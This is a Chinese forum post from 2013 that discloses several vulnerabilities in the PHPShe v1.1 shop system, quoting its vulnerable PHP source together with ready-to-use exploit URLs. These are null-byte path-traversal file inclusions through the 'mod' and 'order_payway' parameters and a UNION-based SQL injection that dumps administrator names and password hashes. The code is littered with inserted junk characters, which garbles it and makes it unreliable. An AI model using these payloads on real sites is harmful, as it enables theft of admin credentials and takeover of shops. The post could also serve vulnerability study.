找回密码
 立即注册
查看: 2942|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
; a2 ?9 z% w( ?' b6 y1 Y2 {# o/* Phpshe v1.1 Vulnerability# t* s; O; E3 r
/* ========================
: ^/ i% U  a% W# {- x% v$ G4 a8 I/* By: : Kn1f36 G7 i  L! @' y# L2 T  W1 W: x
/* E-Mail : 681796@qq.com8 {# r: \, ?1 E3 @
/*******************************************************/0 b. v( ]" J8 z5 Y8 D- [9 Z& T
0×00 整体大概参数传输8 [( f! \, B; {5 w
. |" V0 {' k: V6 c/ A0 f

5 t- `3 H5 ?4 U4 Z9 E1 F9 F

& _( u5 \! w6 q7 v7 \//common.php& M2 R/ ^* y  Y' w
if (get_magic_quotes_gpc()) {3 P$ q2 j* ~3 I! @  B
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');" K6 H* ]5 ]! ~3 ^* q& c" K6 w
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');+ ]* j& v+ t4 I2 r" B' I! ~
}6 R3 k$ s, C; ~; c" G4 o
else {/ i6 f  U( j( O+ W
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');2 x4 I$ q+ y/ P
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
5 ~/ O; `3 x1 L}
. Y! M* A' M, msession_start();
$ ?6 t2 {% k1 g+ A/ {! `!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');4 e1 y) E" }- u* `
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');8 h; h0 C2 {( i; ~5 R. _, a

9 c" r& R2 W8 [0×01 包含漏洞
0 C# V& G  f9 ` . \0 E& i7 G7 L0 F5 n* n
0 s. X* _: z$ u# f9 a* N# v
//首页文件
- ~8 @4 y3 h  M  G3 Z, a<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
* C7 x; C7 r* R  K; }7 v# W" Vinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞! M+ E# O7 u. Z) @
pe_result();7 {/ B1 B! I) t9 N, B& {, e9 [
?>
3 V! D6 m! W& V* M/ o6 G- r//common 文件 第15行开始
% S# [2 b$ r' }" y+ o  t; xurl路由配置7 ?- S7 y) S: M) w+ R; t' p& W
$module = $mod = $act = 'index';
$ w. b7 K: b1 v$ F  z6 b  L$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);: H0 z: a0 ^# \" d% N4 E
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);* |* g/ ]! ^7 S' ?& m9 W
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
' f+ y* E/ ]3 P, W: y//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%009 a; o9 ^  h/ p


, ?9 A0 j* c+ X7 C( C& Z; N$ u 6 ]" Y+ c( j! K, U
0×02 搜索注入
; g) t% q5 E. F# I
' T4 F% f) Q7 E: f' o# q$ U<code id="code2">

//product.php文件4 R8 x  Z, h+ ^2 T4 |$ r( b: I: ]: n7 |4 n
case 'list':5 U: ^) k7 `6 v+ ^3 w# Z
$category_id = intval($id);
  C& D8 F  M7 E  m; _# r$info = $db->pe_select('category', array('category_id'=>$category_id));
$ D" b9 C( b$ n) k1 F1 |5 U//搜索
9 w5 u! o, l/ r) s, X5 m# x$sqlwhere = " and `product_state` = 1";0 o9 U' X% c1 \  T& Q" i& F8 y
pe_lead('hook/category.hook.php');8 R! V" S* x7 I7 U3 H# Y
if ($category_id) {# V7 o! V% d2 v! Q6 E
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
! F  g% X4 o! [. [& I- H% O}
4 x" m- q( b6 K5 }$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤. }, g! u9 o0 b' w4 d8 \9 p
if ($_g_orderby) {
+ |  ~8 x8 m4 p$ k6 W! }$orderby = explode('_', $_g_orderby);
) n: Z% }3 e/ n! R& w$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";% I( C" ?% y  O& H# V6 N
}$ U- u' F1 \# \
else {, A, A4 Q; A  i+ q  y# V+ p
$sqlwhere .= " order by `product_id` desc";1 R+ W+ @3 G& o3 B- N% \
}
0 x' i2 |! }3 M+ s$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
7 t6 Q6 |' a. U5 J//热卖排行1 Y4 `6 Z8 D! N$ }' m# y
$product_hotlist = product_hotlist();* o% _' i( V7 U. L( K* h
//当前路径
1 I7 H1 t5 k' q2 F3 ]$ X% \" G$nowpath = category_path($category_id);
+ M( c4 {& E6 C/ O4 e$seo = pe_seo($info['category_name']);/ u2 o6 A( C5 W4 p
include(pe_tpl('product_list.html'));
9 s6 i( [% X# [* c$ \//跟进selectall函数库
2 g, m4 ]0 r" s6 x! ~  Qpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
2 j9 m! R9 V! ^: X& p{
& ?8 b! c+ u4 k1 c, i) n//处理条件语句; x& a7 F! ]" A- X; R
$sqlwhere = $this->_dowhere($where);2 v& a3 x- T6 G7 ]' s! R9 n
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);1 N' `* X# l8 r" s$ N, \
}9 r" m, ^/ f% {6 U% h  A
//exp
" F- T. Q1 K- D0 H. W6 h( Bproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1! t# S: {! j" Q& u

</code>; v2 l0 ^8 j3 {$ Q; J3 y6 }' d
  Y+ f# a" e/ J4 N' v# @, ?
0×03 包含漏洞2
( A2 J, q6 |- r  C: Z9 { 0 S# q% O/ E# C% r( q* O. g
<code id="code3">

//order.php

case 'pay':


* \2 _$ f* i8 j+ X- ?- Q$order_id = pe_dbhold($_g_id);


% r2 ]  ^. w5 Z% }# k" Q$cache_payway = cache::get('payway');

6 ^: v- X! z) m; S- S
foreach($cache_payway as $k => $v) {


- S) g2 M& q8 E. }$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


, g5 v) N, Z+ f9 v% v0 G, U, wif ($k == 'bank') {

  ^' Y( G/ }5 {6 r1 `
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


; ^$ r, B$ e  E1 N! C- z  b}

0 O- \8 i8 N/ n! K4 n
}


" U: g! R7 `' W$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

3 ~: y; M( I; t, Y- X
!$order['order_id'] && pe_error('订单号错误...');


5 W6 B9 D$ e+ o: Lif (isset($_p_pesubmit)) {


' X# O( X' ~7 E9 S0 Y8 ~% Bif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


) O, y! D& m$ V4 o2 |6 _$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


; ]9 C- ~( j6 K* o/ w: dforeach ($info_list as $v) {

9 {$ P# T3 q  P$ {' P' C" ?
$order['order_name'] .= "{$v['product_name']};";7 d4 o! p3 y9 G4 J- a" j


& \6 j7 L, C/ k8 F. [6 `$ _* {}

1 I% h; ^- c5 O' q1 D5 M7 g
echo '正在为您连接支付网站,请稍后...';

1 p2 E! g" Z! `2 Q- F( g
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


5 J; ~4 {1 k& ]}//当一切准备好的时候就可以进行"鸡肋包含了"


! {7 g# s5 n5 X" l$ L6 `else {

6 O" p) y2 S7 l* O( J; o
pe_error('支付错误...');


$ r% E& S' r7 e}

3 N5 r' z7 ?1 c/ `
}

: ~. j1 v2 h. |. s' t& K! w, E, o
$seo = pe_seo('选择支付方式');

9 b) N- I: @0 }% Y2 `  W& ?1 M
include(pe_tpl('order_pay.html'));


4 g8 a6 [, e" Pbreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>: b. g  c. K! D+ n5 \: b
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表